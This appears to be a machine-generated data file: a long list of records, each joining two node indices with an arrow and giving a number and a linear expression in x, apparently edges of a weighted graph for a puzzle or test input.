3->67 117 72911*x + 118 96->58 35 100811*x + 13326 81->33 122 76991*x + 6741 57->10 46 53047*x + 7141 75->32 69 8753*x + 6514 22->75 56 31051*x + 2214 23->96 67 5119*x + 5381 65->62 103 37019*x + 4774 27->90 86 69857*x + 36 75->55 39 50359*x + 1038 79->51 97 34487*x + 1794 46->81 32 35099*x + 1394 73->90 86 51797*x + 26 9->65 95 87491*x + 11281 18->83 12 75833*x + 2475 35->11 43 72763*x + 4828 41->28 50 54667*x + 8124 19->79 100 36073*x + 199 70->13 99 83597*x + 6329 83->3 118 13331*x + 6938 30->4 48 439*x + 5225 58->17 104 15241*x + 1129 37->67 117 541*x + 3066 86->50 116 47051*x + 3972 15->6 123 79087*x + 3030 7->87 121 84181*x + 14352 67->68 36 39341*x + 5317 88->21 9 4943*x + 8115 52->23 11 101267*x + 14408 92->79 100 10937*x + 670 2->64 70 37117*x + 3811 67->22 64 49529*x + 2734 89->73 102 29989*x + 3556 31->2 72 97*x + 3097 56->49 68 13187*x + 3825 63->13 99 44789*x + 266 87->17 104 17977*x + 7978 13->36 79 20789*x + 5434 8->78 76 10477*x + 245 66->56 119 94693*x + 9200 66->19 61 30197*x + 5970 56->26 81 21977*x + 5118 20->51 97 57467*x + 3091 94->34 41 54133*x + 5627 46->17 104 36899*x + 812 9->91 91 1831*x + 4109 99->18 80 51511*x + 2807 91->2 72 21391*x + 1014 70->15 63 72643*x + 489 22->30 96 24043*x + 3317 25->37 114 78901*x + 6086 33->38 75 70271*x + 3469 96->7 126 94793*x + 14564 29->2 72 98507*x + 12001 87->38 75 77239*x + 6369 42->18 80 63689*x + 5148 84->17 104 18719*x + 5944 76->58 35 44753*x + 1461 28->43 105 22699*x + 7931 71->0 33 55901*x + 307 0->96 67 5437*x + 6491 71->9 115 10337*x + 1105 58->89 107 64123*x + 7455 69->4 48 74861*x + 3677 6->94 125 51647*x + 545 70->42 87 52957*x + 326 64->87 121 100183*x + 8523 57->79 100 74017*x + 1329 91->51 97 88819*x + 8904 45->87 121 25639*x + 5449 87->34 41 10861*x + 7335 82->67 117 87797*x + 12082 47->97 108 11177*x + 5608 65->38 75 25309*x + 7644 88->20 62 34381*x + 1900 86->24 65 44657*x + 3970 50->18 80 63211*x + 2884 23->95 111 53129*x + 9 0->64 70 68147*x + 1006 62->10 46 11491*x + 106 33->67 117 69877*x + 3322 76->95 111 63281*x + 2237 62->16 66 3457*x + 2351 16->26 81 50111*x + 2618 54->3 118 27697*x + 5469 14->17 104 53051*x + 789 70->29 38 51893*x + 7896 0->84 89 65557*x + 5266 13->71 37 337*x + 5071 17->48 78 29833*x + 5436 85->72 92 23633*x + 1872 21->80 110 99053*x + 9062 55->83 12 52153*x + 7785 66->62 103 55823*x + 165 33->45 13 4289*x + 2970 52->87 121 38861*x + 4310 90->67 117 30467*x + 3008 27->83 12 11083*x + 6685 99->58 35 17827*x + 5260 23->89 107 66449*x + 2984 43->78 76 79309*x + 7327 78->56 119 73751*x + 1483 25->65 95 54547*x + 3428 64->21 9 7103*x + 5362 33->98 93 641*x + 1449 60->7 126 29201*x + 7142 21->42 87 91753*x + 10695 1->72 92 21881*x + 6083 12->70 57 74471*x + 7053 84->72 92 70163*x + 5114 0->68 36 36637*x + 446 78->99 54 13597*x + 5159 46->49 68 51059*x + 7630 23->84 89 16231*x + 2975 9->68 36 2447*x + 6343 79->73 102 101561*x + 10508 24->70 57 74161*x + 4855 58->94 125 95239*x + 15709 1->69 59 3613*x + 6043 61->29 38 78887*x + 2873 52->80 110 14831*x + 4441 81->31 47 89599*x + 16350 26->12 101 43573*x + 1719 62->13 99 36241*x + 1036 26->91 91 83219*x + 1229 89->97 108 71249*x + 7953 49->18 80 60343*x + 1154 3->40 34 17659*x + 4780 37->99 54 52291*x + 4955 87->31 47 39937*x + 3173 76->5 82 33181*x + 7522 73->78 76 17957*x + 3682 22->23 11 49169*x + 5030 9->7 126 48647*x + 2376 7->17 104 11*x + 6040 62->74 55 31091*x + 4734 84->48 78 16649*x + 904 69->67 117 34759*x + 4129 38->64 70 37811*x + 1614 27->81 32 47041*x + 1254 71->12 101 80111*x + 6249 73->16 66 5431*x + 3210 40->52 42 44729*x + 4845 53->77 106 86257*x + 12066 54->36 79 59083*x + 4060 92->27 58 60901*x + 8000 93->79 100 3307*x + 1565 62->48 78 27239*x + 3064 59->29 38 3593*x + 1799 76->60 85 50723*x + 3993 91->61 10 77093*x + 2149 60->30 96 81677*x + 5384 49->84 89 34301*x + 3197 53->80 110 71807*x + 7663 51->56 119 26687*x + 2275 42->71 37 98981*x + 14857 41->27 58 82349*x + 2109 31->13 99 96643*x + 10176 74->77 106 7759*x + 1537 93->75 56 71809*x + 6615 24->96 67 64817*x + 6840 75->54 94 64793*x + 5137 7->13 99 19121*x + 6002 28->73 102 51071*x + 6533 96->18 80 68947*x + 2173 97->59 84 13177*x + 6235 94->42 87 15031*x + 3685 82->7 126 52057*x + 5054 89->38 75 21751*x + 1768 70->77 106 73637*x + 2930 22->51 97 49123*x + 4798 44->18 80 56299*x + 1243 18->92 51 75913*x + 3758 57->97 108 85889*x + 10414 78->90 86 40111*x + 730 67->43 105 32939*x + 4257 65->95 111 98731*x + 13155 3->10 46 86689*x + 9184 48->75 56 50773*x + 7604 52->68 36 57107*x + 1048 49->88 71 99181*x + 16052 62->91 91 88237*x + 8376 42->57 109 14389*x + 5837 58->37 114 15233*x + 5233 74->66 44 43717*x + 2526 9->71 37 21893*x + 7992 95->96 67 31469*x + 4661 22->6 123 57587*x + 1344 2->52 42 87517*x + 15104 21->26 81 5801*x + 3540 47->80 110 47491*x + 7218 83->49 68 52883*x + 254 1->66 44 44893*x + 6788 90->42 87 69697*x + 3788 75->64 70 79153*x + 6432 21->65 95 34519*x + 6674 81->26 81 89269*x + 13568 23->13 99 89753*x + 9496 55->63 60 90373*x + 12402 42->73 102 66491*x + 5022 78->74 55 10789*x + 2641 88->54 94 103657*x + 15340 59->19 61 44971*x + 3247 52->32 69 92083*x + 15604 99->40 34 59663*x + 3028 42->9 115 95713*x + 12544 37->4 48 70373*x + 7230 47->18 80 41201*x + 3690 83->66 44 68567*x + 5586 75->85 83 53503*x + 981 6->38 75 64153*x + 6482 9->59 84 58679*x + 903 10->68 36 57853*x + 6581 86->88 71 75767*x + 3576 21->74 55 48491*x + 6604 49->31 47 25819*x + 3235 13->37 114 17981*x + 7377 20->91 91 35117*x + 278 69->50 116 1789*x + 5769 41->33 122 94309*x + 14360 0->15 63 49429*x + 2223 6->9 115 18341*x + 6937 10->35 88 67231*x + 1345 3->51 97 56929*x + 2862 84->45 13 99787*x + 14491 83->95 111 17573*x + 78 99->85 83 81689*x + 3342 83->70 57 10993*x + 520 24->84 89 86083*x + 12840 84->65 95 75583*x + 5364 21->12 101 96263*x + 12889 51->38 75 53591*x + 3251 14->50 116 91081*x + 13948 95->18 80 29683*x + 4672 54->59 84 46663*x + 4921 58->11 43 46351*x + 1575 6->1 112 77929*x + 1204 47->33 122 28547*x + 3160 80->3 118 151*x + 7527 24->48 78 55697*x + 1950 79->77 106 37273*x + 7819 33->6 123 3167*x + 816 35->36 79 46307*x + 4295 50->64 70 56911*x + 1419 11->2 72 33149*x + 1486 33->88 71 25981*x + 6523 44->98 93 17449*x + 5365 46->66 44 77551*x + 8156 1->41 73 99929*x + 10032 67->91 91 76631*x + 285 94->74 55 32561*x + 7675 71->31 47 56479*x + 2170 0->42 87 85781*x + 10471 81->24 65 34939*x + 7054 73->3 118 1283*x + 2384 57->51 97 42841*x + 1828 26->61 10 36643*x + 5886 84->85 83 49999*x + 2557 36->23 11 88259*x + 12737 54->10 46 46219*x + 1146 80->44 45 56659*x + 3370 63->94 125 29983*x + 6108 53->24 65 97943*x + 11119 78->76 124 43063*x + 925 95->2 72 39217*x + 2082 65->21 9 47609*x + 6802 3->9 115 55631*x + 6780 94->60 85 51439*x + 4522 59->41 73 19373*x + 4057 71->2 72 49103*x + 3559 6->17 104 73583*x + 7318 34->18 80 68687*x + 2331 49->33 122 45439*x + 7068 99->90 86 25463*x + 2451 93->12 101 39139*x + 2046 76->88 71 81157*x + 1566 22->7 126 57917*x + 1384 60->96 67 23227*x + 4187 72->17 104 10151*x + 2774 9->97 108 27749*x + 4368 54->76 124 44887*x + 4601 84->89 107 8447*x + 792 36->29 38 56503*x + 1877 78->20 62 84137*x + 11482 29->35 88 30577*x + 5451 80->13 99 11117*x + 1101 47->90 86 47161*x + 2171 45->85 83 25037*x + 7502 26->57 109 86197*x + 14571 33->94 125 103471*x + 15777 87->68 36 65777*x + 8137 81->98 93 93901*x + 11350 94->47 90 63337*x + 5906 87->62 103 93047*x + 15760 22->43 105 103613*x + 8665 69->93 98 64187*x + 3497 90->46 74 37579*x + 6577 58->20 62 83137*x + 1018 65->24 65 41213*x + 895 40->96 67 11579*x + 301 1->83 12 8893*x + 5650 24->71 37 34693*x + 2822 44->49 68 61409*x + 4742 48->35 88 24923*x + 5101 73->83 12 18367*x + 7553 6->79 100 55667*x + 5638 29->39 113 96671*x + 9292 63->35 88 32479*x + 2325 9->64 70 81331*x + 6537 58->23 11 102229*x + 11584 69->60 85 94837*x + 12267 74->45 13 93887*x + 13609 24->76 124 57173*x + 1941 98->16 66 6521*x + 135 95->27 58 71143*x + 1648 91->58 35 74821*x + 6868 99->67 117 100049*x + 15043 81->66 44 78259*x + 1821 3->47 90 69491*x + 7051 89->47 90 99371*x + 9871 79->30 96 75307*x + 1658 75->2 72 2371*x + 3378 12->26 81 48619*x + 2894 67->80 110 1447*x + 6660 6->96 67 68281*x + 8022 42->74 55 11551*x + 5849 73->69 59 3191*x + 5746 69->82 40 46601*x + 5338 18->0 33 82261*x + 2270 19->82 40 76159*x + 3303 22->53 120 22343*x + 7551 55->37 114 80761*x + 4771 67->81 32 619*x + 2508 19->58 35 34469*x + 5467 27->67 117 757*x + 4773 82->27 58 13907*x + 4585 7->28 50 53161*x + 2701 74->86 53 78623*x + 1814 43->62 103 797*x + 3753 60->48 78 91813*x + 14411 35->20 62 34591*x + 5315 79->87 121 81083*x + 6588 26->5 82 51899*x + 1399 83->59 84 91199*x + 12810 74->48 78 35363*x + 3368 22->15 63 47119*x + 3017 54->22 64 53549*x + 7433 99->42 87 58073*x + 6010 47->4 48 18077*x + 2578 38->32 69 64037*x + 2631 15->68 36 60167*x + 6459 14->40 34 5927*x + 5907 12->15 63 78571*x + 1360 28->13 99 71549*x + 7861 60->95 111 82129*x + 5508 63->48 78 17443*x + 7985 8->96 67 21599*x + 7749 1->93 98 67139*x + 6457 45->99 54 26339*x + 4956 32->67 117 79757*x + 2745 99->87 121 8543*x + 2396 96->75 56 22709*x + 6945 9->39 113 86467*x + 12072 70->67 117 31991*x + 1192 38->80 110 64373*x + 40 60->44 45 14759*x + 5042 19->65 95 81047*x + 7378 19->74 55 78569*x + 7013 16->22 64 281*x + 1645 84->77 106 37139*x + 6565 69->52 42 127*x + 3925 40->70 57 99721*x + 14371 52->30 96 88117*x + 10055 46->13 99 12553*x + 5923 27->26 81 77003*x + 5310 89->32 69 39191*x + 4157 65->7 126 27893*x + 7114 17->91 91 11717*x + 7702 57->23 11 67289*x + 4399 89->59 84 5419*x + 7744 73->27 58 8699*x + 4770 94->48 78 97841*x + 11139 79->65 95 29669*x + 7594 80->54 94 50263*x + 6752 1->60 85 19213*x + 6132 44->45 13 59209*x + 3771 90->81 32 92951*x + 9867 86->1 112 99317*x + 12116 78->88 71 55073*x + 8188 10->17 104 102539*x + 14923 20->80 110 66179*x + 3526 78->18 80 39659*x + 7581 71->21 9 16823*x + 7894 94->95 111 45821*x + 7390 43->22 64 47869*x + 915 4->6 123 30881*x + 2672 45->65 95 3929*x + 2620 12->29 38 14737*x + 2511 40->91 91 92387*x + 12427 55->57 109 62533*x + 622 98->94 125 41953*x + 4431 0->9 115 38557*x + 2792 89->1 112 104369*x + 11084 47->68 36 89797*x + 8457 39->60 85 82231*x + 1030 51->66 44 2389*x + 1945 49->90 86 32297*x + 63 89->29 38 28759*x + 2571 24->33 122 13723*x + 5819 31->20 62 45971*x + 3138 10->56 119 92119*x + 11898 45->44 45 27241*x + 5557 44->34 41 41597*x + 1031 41->11 43 66947*x + 2987 15->10 46 9887*x + 4106 48->10 46 99349*x + 14190 9->29 38 69403*x + 220 60->79 100 20693*x + 4062 71->88 71 15923*x + 7103 53->58 35 2659*x + 5831 55->49 68 47779*x + 2179 25->95 111 42451*x + 5749 70->69 59 17471*x + 6743 97->34 41 82939*x + 1447 97->12 101 71413*x + 7257 82->19 61 19391*x + 1179 4->27 58 64271*x + 605 91->38 75 52253*x + 6490 27->98 93 46381*x + 715 95->59 84 52121*x + 4939 16->32 69 100003*x + 10622 45->10 46 9103*x + 142 69->48 78 104491*x + 10780 77->26 81 38767*x + 14 29->7 126 3221*x + 4689 78->98 93 74609*x + 7297 62->81 32 83089*x + 947 91->57 109 883*x + 4570 63->41 73 60589*x + 5182 84->43 105 79861*x + 4107 47->87 121 25799*x + 2454 42->23 11 27983*x + 110 61->72 92 42923*x + 8172 5->17 104 811*x + 1873 50->19 61 77723*x + 4709 29->59 84 41927*x + 6767 62->89 107 97829*x + 13666 5->48 78 41179*x + 4194 40->78 76 69821*x + 2849 11->54 94 85027*x + 11575 22->33 122 52189*x + 6166 56->91 91 49033*x + 6923 37->84 89 91141*x + 8328 52->14 77 28723*x + 4169 88->5 82 73613*x + 2697 47->76 124 12823*x + 1669 82->93 98 40237*x + 4474 63->32 69 59341*x + 6958 89->67 117 57593*x + 6022 72->35 88 100907*x + 11170 57->25 52 67121*x + 686 90->79 100 13577*x + 290 75->58 35 18131*x + 531 68->49 68 73133*x + 1861 35->96 67 9433*x + 5347 58->59 84 45119*x + 2012 10->52 42 94379*x + 16360 77->58 35 11549*x + 1122 30->53 120 58031*x + 4614 18->90 86 41389*x + 8187 47->34 41 14557*x + 7090 36->27 58 49171*x + 5237 52->12 101 93377*x + 12689 45->31 47 32119*x + 7003 87->85 83 769*x + 3105 0->87 121 39229*x + 673 84->14 77 2753*x + 6316 34->3 118 65831*x + 3104 1->65 95 80681*x + 774 31->29 38 48751*x + 2465 21->64 70 76471*x + 500 76->0 33 71*x + 5215 68->8 49 80923*x + 3366 77->18 80 22963*x + 5780 81->34 41 40529*x + 2329 24->5 82 62423*x + 6968 10->97 108 84191*x + 10527 61->9 115 54851*x + 1533 57->18 80 39869*x + 1116 56->75 56 85429*x + 10868 49->38 75 69941*x + 933 30->33 122 90127*x + 13390 23->6 123 229*x + 708 44->90 86 15161*x + 6944 22->12 101 96431*x + 14203 28->44 45 80669*x + 834 23->24 65 78439*x + 6047 30->24 65 461*x + 4618 47->14 77 557*x + 6382 81->73 102 62303*x + 5579 86->61 10 51263*x + 966 6->19 61 104677*x + 15795 46->61 10 81293*x + 3268 79->8 49 83773*x + 1697 24->9 115 80147*x + 6606 93->38 75 7333*x + 4787 25->67 117 75989*x + 4960 94->63 60 100511*x + 8213 83->88 71 31151*x + 421 50->94 125 35879*x + 2103 84->44 45 4231*x + 3726 8->24 65 60607*x + 1174 98->93 98 35543*x + 5188 41->57 109 23753*x + 6503 7->91 91 99133*x + 16281 84->49 68 39241*x + 3724 39->47 90 24419*x + 4969 50->54 94 66853*x + 1752 94->62 103 39161*x + 5745 70->7 126 56983*x + 1812 31->70 57 12973*x + 4126 26->99 54 19861*x + 4365 44->80 110 43913*x + 5155 42->38 75 32909*x + 1222 6->30 96 87629*x + 13567 74->34 41 51421*x + 6639 13->24 65 76733*x + 64 41->95 111 70199*x + 4458 52->82 40 48023*x + 7417 1->43 105 72733*x + 6289 13->46 74 30757*x + 4325 83->87 121 99137*x + 14722 9->50 116 53401*x + 4214 7->88 71 65497*x + 2122 96->62 103 93937*x + 12198 16->36 79 22777*x + 6949 67->31 47 25847*x + 6771 7->94 125 102433*x + 8836 70->72 92 24103*x + 5109 51->80 110 101287*x + 10225 99->96 67 19681*x + 7680 68->23 11 11777*x + 3675 50->60 85 53299*x + 5267 57->59 84 38303*x + 3494 90->72 92 32363*x + 5998 82->44 45 2381*x + 2994 92->61 10 10039*x + 4361 73->50 116 80713*x + 6735 1->16 66 11197*x + 7860 96->54 94 67157*x + 6161 92->55 39 49117*x + 6902 67->52 42 10103*x + 1975 75->52 42 48623*x + 4252 29->87 121 1327*x + 3806 66->52 42 11789*x + 4465 83->79 100 94439*x + 8279 31->72 92 52999*x + 1032 62->63 60 62761*x + 8177 76->81 32 96973*x + 11812 33->17 104 81421*x + 2428 4->9 115 63439*x + 7538 50->93 98 88609*x + 9322 27->55 39 62927*x + 3725 22->58 35 2857*x + 4566 85->63 60 58061*x + 7961 23->39 113 77359*x + 6927 52->76 124 49939*x + 1708 72->31 47 97379*x + 9688 21->62 103 103967*x + 11465 95->34 41 41269*x + 2505 66->14 77 9001*x + 4017 55->1 112 40433*x + 7757 60->93 98 100853*x + 8820 40->62 103 36229*x + 152 56->9 115 67547*x + 5843 95->85 83 10289*x + 4632 70->22 64 7649*x + 7275 18->18 80 3623*x + 5397 4->63 60 62617*x + 4729 10->0 33 53171*x + 6412 85->90 86 24097*x + 2896 14->65 95 27817*x + 6159 85->59 84 44983*x + 6964 11->53 120 24077*x + 863 52->67 117 4243*x + 3037 82->92 51 12101*x + 437 12->47 90 40277*x + 3914 97->94 125 48449*x + 8126 88->0 33 67777*x + 5059 8->54 94 59629*x + 8011 14->22 64 94111*x + 12536 65->74 55 21997*x + 4711 72->24 65 13259*x + 2516 97->18 80 36629*x + 4981 72->28 50 12721*x + 5312 14->41 73 101273*x + 11953 96->26 81 46021*x + 2929 48->24 65 66173*x + 3385 83->61 10 22907*x + 706 66->51 97 19*x + 6511 76->46 74 24061*x + 3302 58->10 46 51131*x + 2453 90->23 11 51607*x + 1627 16->63 60 44519*x + 6782 71->58 35 72211*x + 2963 54->67 117 90527*x + 9055 47->39 113 53507*x + 3858 33->74 55 103529*x + 10520 71->20 62 34739*x + 6404 13->38 75 15349*x + 5637 72->62 103 6947*x + 5733 91->56 119 89867*x + 10812 49->1 112 82487*x + 2324 16->80 110 81737*x + 4347 14->9 115 57203*x + 761 19->45 13 102241*x + 15169 77->96 67 89653*x + 15930 75->90 86 88321*x + 16040 11->56 119 35837*x + 5420 28->50 116 88211*x + 8205 3->13 99 53441*x + 7911 27->15 63 2647*x + 6922 87->94 125 13901*x + 65 88->56 119 14867*x + 7124 22->37 114 51407*x + 5382 77->6 123 3*x + 4706 11->70 57 98867*x + 13283 41->49 68 91513*x + 13612 45->52 42 63737*x + 7596 50->1 112 74831*x + 6264 30->93 98 91493*x + 14901 71->56 119 42709*x + 1511 35->31 47 30937*x + 3396 12->40 34 5651*x + 8129 18->54 94 8069*x + 5040 28->6 123 55931*x + 595 2->5 82 80051*x + 6150 10->69 59 22111*x + 5531 54->1 112 47741*x + 2031 82->63 60 11131*x + 7384 25->42 87 34613*x + 4439 20->85 83 102437*x + 12771 45->88 71 103699*x + 12685 64->72 92 1091*x + 5742 36->95 111 79813*x + 6212 32->94 125 55331*x + 1781 0->25 52 48779*x + 2914 1->25 52 77969*x + 4155 7->10 46 64609*x + 1698 84->4 48 98251*x + 8447 92->12 101 5273*x + 3563 58->55 39 98269*x + 15270 51->61 10 36137*x + 2112 2->81 32 78121*x + 297 53->47 90 74051*x + 5096 62->77 106 25373*x + 5079 36->6 123 92927*x + 11762 96->84 89 11831*x + 5385 33->28 50 85237*x + 14867 39->93 98 42433*x + 4158 54->90 86 90907*x + 12569 61->17 104 9721*x + 523 7->3 118 98563*x + 8835 63->57 109 81343*x + 7137 1->53 120 25391*x + 6573 40->38 75 36277*x + 5785 0->76 124 34549*x + 1225 1->67 117 22229*x + 3432 86->23 11 95987*x + 10834 89->46 74 80177*x + 2298 38->50 116 25121*x + 4646 75->16 66 96401*x + 8306 83->6 123 75407*x + 134 14->23 11 293*x + 1298 93->70 57 71633*x + 5768 62->54 94 90031*x + 9350 70->30 96 102587*x + 9205 53->0 33 13859*x + 6454 59->49 68 28027*x + 719 52->11 43 42737*x + 6320 51->67 117 12497*x + 404 16->90 86 4447*x + 4342 45->38 75 84523*x + 13088 58->97 108 101513*x + 16054 30->41 73 63377*x + 4047 13->39 113 56737*x + 1978 81->77 106 30559*x + 6830 68->82 40 61403*x + 4688 19->77 106 28627*x + 277 74->56 119 34757*x + 5110 4->31 47 68261*x + 354 86->78 76 70949*x + 921 22->89 107 85607*x + 14666 46->64 70 50867*x + 6152 23->72 92 96661*x + 15157 39->41 73 60661*x + 3277 82->77 106 23321*x + 5036 1->14 77 9539*x + 1076 29->79 100 25657*x + 2854 32->55 39 94063*x + 8268 84->23 11 38747*x + 6157 95->47 90 2393*x + 1081 29->54 94 91823*x + 8873 41->41 73 68597*x + 366 95->49 68 8737*x + 8026 71->43 105 64499*x + 4565 60->1 112 33107*x + 5574 53->66 44 35983*x + 2071 91->92 51 17851*x + 5358 69->83 12 81509*x + 4779 69->72 92 1889*x + 2490 59->89 107 19963*x + 7559 71->39 113 77563*x + 4301 4->48 78 53791*x + 6854 3->63 60 74381*x + 5852 10->61 10 11941*x + 896 41->24 65 12611*x + 3376 52->81 32 62347*x + 4968 77->60 85 90163*x + 16176 62->73 102 3121*x + 7423 58->21 9 16453*x + 1159 89->87 121 94951*x + 14087 21->76 124 10903*x + 5334 55->67 117 49069*x + 5653 3->60 85 95441*x + 10002 5->30 96 59671*x + 3696 98->85 83 13397*x + 7722 8->47 90 42187*x + 5582 21->63 60 17737*x + 5754 54->20 62 88873*x + 15082 5->39 113 31723*x + 2303 45->98 93 95747*x + 9316 20->71 37 6101*x + 6546 66->8 49 37619*x + 468 20->32 69 44963*x + 2607 3->0 33 22283*x + 1383 12->58 35 11981*x + 7984 11->42 87 74297*x + 3180 67->95 111 64849*x + 299 76->96 67 4919*x + 1681 15->59 84 10061*x + 2168 27->20 62 50647*x + 7095 57->26 81 1609*x + 5287 86->41 73 40813*x + 7780 84->21 9 12203*x + 378 78->92 51 9533*x + 4024 51->28 50 7547*x + 4077 32->28 50 24379*x + 3622 58->69 59 1741*x + 7836 52->0 33 80251*x + 2135 70->11 43 56873*x + 3668 99->54 94 39727*x + 1430 56->53 120 58391*x + 7214 34->28 50 12821*x + 1551 78->29 38 4007*x + 77 63->40 34 13309*x + 7212 40->63 60 30713*x + 4873 85->15 63 41981*x + 5847 67->0 33 49009*x + 2292 63->82 40 64327*x + 4536 85->50 116 21191*x + 478 40->69 59 15787*x + 3832 27->79 100 78553*x + 1240 47->84 89 53693*x + 4856 60->62 103 42697*x + 1886 54->75 56 56093*x + 5992 13->47 90 37907*x + 564 58->48 78 69313*x + 7443 5->67 117 65993*x + 4979 6->59 84 43151*x + 2128 80->63 60 4363*x + 3147 61->61 10 25913*x + 4902 27->76 124 12401*x + 4398 38->74 55 89521*x + 11706 75->91 91 48239*x + 4243 63->47 90 617*x + 7411 82->6 123 87299*x + 12530 92->65 95 94723*x + 11161 94->26 81 30109*x + 1675 70->14 77 74177*x + 6501 91->33 122 103421*x + 15746 82->60 85 16369*x + 25 67->53 120 13183*x + 6136 75->96 67 69197*x + 7352 61->27 58 33427*x + 4745 50->69 59 7603*x + 2058 94->3 118 79367*x + 5658 8->33 122 7459*x + 3080 36->92 51 102859*x + 8649 53->50 116 40283*x + 602 49->41 73 69109*x + 2176 3->22 64 71503*x + 2891 88->32 69 18803*x + 4290 43->45 13 13679*x + 3843 25->8 49 55049*x + 5665 14->12 101 72889*x + 328 79->99 54 28411*x + 6549 23->57 109 61757*x + 5546 87->86 53 4789*x + 4359 90->61 10 50053*x + 455 97->39 113 23869*x + 5980 22->41 73 12589*x + 1600 60->71 37 48221*x + 2804 62->83 12 68881*x + 1893 47->61 10 65003*x + 7424 11->91 91 59219*x + 7824 37->19 61 19031*x + 3218 45->36 79 26107*x + 1098 10->84 89 18773*x + 5645 73->26 81 52387*x + 7792 41->53 120 15583*x + 957 45->46 74 89627*x + 12974 20->34 41 22091*x + 3837 81->36 79 102367*x + 15422 88->71 37 26647*x + 2079 37->57 109 92413*x + 9031 73->33 122 56941*x + 7704 11->51 97 84319*x + 13307 70->20 62 55339*x + 353 55->87 121 73421*x + 6790 55->0 33 57943*x + 979 16->81 32 62383*x + 4746 17->72 92 27031*x + 480 68->25 52 29671*x + 2731 2->25 52 35863*x + 4963 74->60 85 88817*x + 13822 78->68 36 62683*x + 6139 61->77 106 45641*x + 1936 29->48 78 65609*x + 7392 98->40 34 64783*x + 4928 64->81 32 20563*x + 2945 93->91 91 85369*x + 8604 38->52 42 5393*x + 4015 66->58 35 64451*x + 1640 94->25 52 15269*x + 5129 63->17 104 79481*x + 190 2->35 88 25801*x + 613 30->54 94 29819*x + 1187 61->54 94 10091*x + 674 64->56 119 79987*x + 432 46->22 64 62213*x + 6488 94->44 45 87959*x + 9839 53->46 74 20071*x + 2101 70->99 54 39343*x + 1651 9->69 59 82549*x + 7094 63->65 95 70429*x + 7960 35->3 118 50833*x + 3244 2->80 110 16267*x + 5179 76->83 12 34651*x + 5269 68->99 54 14323*x + 3710 12->65 95 4817*x + 7369 4->83 12 15391*x + 3781 49->67 117 100417*x + 14499 20->38 75 91459*x + 14218 6->29 38 78241*x + 2160 40->53 120 85411*x + 16023 83->27 58 5521*x + 6623 18->7 126 18251*x + 7169 46->50 116 73757*x + 3656 28->78 76 24527*x + 3861 16->24 65 23539*x + 7254 76->15 63 68437*x + 7823 5->75 56 74159*x + 2591 8->86 53 39019*x + 1301 58->29 38 59509*x + 5143 35->41 73 90947*x + 15013 56->73 102 77477*x + 232 94->24 65 66467*x + 5978 65->4 48 49223*x + 1412 33->18 80 6089*x + 4612 28->45 13 743*x + 46 22->21 9 81349*x + 3934 74->31 47 18517*x + 7790 58->62 103 4339*x + 303 7->60 85 7753*x + 1327 80->25 52 46499*x + 5945 49->26 81 37409*x + 6169 56->35 88 48757*x + 261 25->76 124 84809*x + 14073 18->9 115 99241*x + 15915 65->73 102 37501*x + 5854 50->55 39 54917*x + 5116 66->31 47 16339*x + 2733 41->91 91 11953*x + 2369 3->8 49 23531*x + 122 30->37 114 66347*x + 7341 39->57 109 59441*x + 5573 13->49 68 76949*x + 67 9->41 73 67883*x + 4387 34->67 117 55057*x + 332 68->35 88 83267*x + 713 83->36 79 96167*x + 13700 3->38 75 6323*x + 1244 67->54 94 42223*x + 6486 98->49 68 19477*x + 8039 17->22 64 19853*x + 185 38->62 103 39983*x + 8002 45->25 52 25301*x + 1371 49->72 92 56681*x + 6333 81->55 39 66301*x + 4339 76->93 98 73291*x + 5252 64->33 122 56569*x + 4258 89->78 76 17509*x + 1542 68->77 106 100913*x + 11067 95->84 89 42179*x + 5569 25->29 38 68777*x + 6855 69->5 82 7331*x + 5176 23->81 32 89909*x + 12952 15->38 75 71209*x + 1715 91->9 115 28349*x + 1891 58->14 77 100613*x + 8706 75->38 75 100847*x + 9023 64->15 63 5779*x + 6960 81->41 73 6007*x + 5370 9->57 109 8537*x + 5492 56->71 37 67477*x + 5734 39->96 67 85691*x + 12275 22->0 33 83761*x + 350 89->7 126 41023*x + 5671 20->87 121 15401*x + 337 6->45 13 29311*x + 4098 97->26 81 49459*x + 1029 2->88 71 23909*x + 1478 25->7 126 30307*x + 1720 30->80 110 50549*x + 804 40->33 122 83921*x + 939 40->23 11 69119*x + 1649 1->3 118 22129*x + 7132 33->75 56 81463*x + 3291 7->90 86 86353*x + 14271 41->22 64 66919*x + 2233 85->97 108 3917*x + 3754 5->1 112 96377*x + 12561 95->58 35 103687*x + 12957 27->43 105 84673*x + 10744 80->56 119 3491*x + 3983 90->76 124 74717*x + 5910 91->36 79 69779*x + 7766 48->98 93 12619*x + 3400 70->65 95 86951*x + 11371 67->66 44 104479*x + 10805 27->37 114 70589*x + 76 9->4 48 26099*x + 6508 65->12 101 63127*x + 7309 99->23 11 86209*x + 14092 49->76 124 52321*x + 6679 20->48 78 47911*x + 7172 96->40 34 81283*x + 8141 10->16 66 103349*x + 9495 3->84 89 62969*x + 4990 46->83 12 95143*x + 14076 6->90 86 65581*x + 6995 26->90 86 48397*x + 1847 16->91 91 99823*x + 11136 9->30 96 51941*x + 5232 8->1 112 89009*x + 15949 46->40 34 20021*x + 2391 72->18 80 5861*x + 3186 3->23 11 36013*x + 1956 49->96 67 54503*x + 6014 20->58 35 104309*x + 13085 85->26 81 83983*x + 6561 55->68 36 3037*x + 1150 39->61 10 104717*x + 14650 41->32 69 55799*x + 4667 38->65 95 83833*x + 6196 79->38 75 67033*x + 6162 93->85 83 80221*x + 8069 87->75 56 3329*x + 3571 35->66 44 55967*x + 4766 68->17 104 36671*x + 7769 83->63 60 66359*x + 2366 39->55 39 15193*x + 4234 35->24 65 21089*x + 3177 46->73 102 103099*x + 11334 86->20 62 89491*x + 15782 83->84 89 2917*x + 5120 89->84 89 6163*x + 7045 35->71 37 98459*x + 10061 53->5 82 63703*x + 8185 67->35 88 55109*x + 2759 85->33 122 99017*x + 8851 34->46 74 102953*x + 8789 65->50 116 12457*x + 3541 23->74 55 67709*x + 2312 94->23 11 73819*x + 1512 15->22 64 92467*x + 15836 31->94 125 54347*x + 2689 48->93 98 35339*x + 2634 64->10 46 22109*x + 1662 23->0 33 58937*x + 1958 56->7 126 18757*x + 2623 47->10 46 35281*x + 2564 23->8 49 92381*x + 14394 20->18 80 3463*x + 3073 16->82 40 82457*x + 8174 53->32 69 96487*x + 9632 36->68 36 93199*x + 14144 92->88 71 75577*x + 4972 74->11 43 41299*x + 3731 41->56 119 63589*x + 2212 87->41 73 46229*x + 2466 16->19 61 19211*x + 92 0->24 65 38501*x + 7173 64->58 35 89431*x + 11895 65->93 98 46993*x + 2336 97->30 96 9949*x + 6801 90->55 39 47129*x + 156 87->91 91 